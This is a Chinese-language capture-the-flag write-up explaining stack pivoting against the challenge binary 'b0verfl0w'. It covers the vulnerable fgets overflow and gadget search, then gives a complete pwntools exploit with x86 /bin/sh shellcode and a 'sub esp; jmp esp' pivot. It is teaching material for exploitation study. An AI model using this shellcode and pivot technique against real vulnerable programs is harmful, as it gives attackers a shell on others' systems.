stack pivoting(堆栈旋转)
1.先运行一下我checksec ./b0verfl0w
我们尝试输入数据。当发现数据段过长我们会显示段错误的提示!
2.我们放入IDA
中查看源码 在vul
函数中,我们发现了源码。
signed int vul()
{
char s; // [sp+18h] [bp-20h]@1
puts("\n======================");
puts("\nWelcome to X-CTF 2016!");
puts("\n======================");
puts("What's your name?");
fflush(stdout); #清除缓存区
fgets(&s, 50, stdin);
printf("Hello %s.", &s);
fflush(stdout);
return 1;
}
fgets函数
*char *fgets(char *buf, int bufsize, FILE *stream);
*buf:
字符型指针,指向用来存储所得数据的地址。
*bufsize:
整型数据,指明存储数据的大小。
*stream:
文件结构体指针,将要读取的文件流。
*栈空间总大小为56byte
我们可以利用的栈空间大小为32byte, 我们的shellcode的大小就用32个字节,所以这就出现了栈溢出。
注:可以看出,源程序存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节,所以我们很难执行一些比较好的 ROP。这里我们就考虑 stack pivoting
布置 payload:
1.我们shellcode
是需要自己记住的
2.填充的padding
的数据长度用0x20-shellcode
的数据长度
3.fake ebp
是我们的虚拟地址,没有意义
4.0x08048504 : jmp esp
我们需要知道可以利用的gadgets
段,使用ROPgadget --binary b0verfl0w --only 'jmp|ret'
5.我们需要将我们的栈空间变大,我们把栈空间向上填充40,跳转到shellcode
的开始位置。
exp代码
from pwn import *
sh = process('./b0verfl0w')
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86 + (
0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp
sh.sendline(payload)
sh.interactive()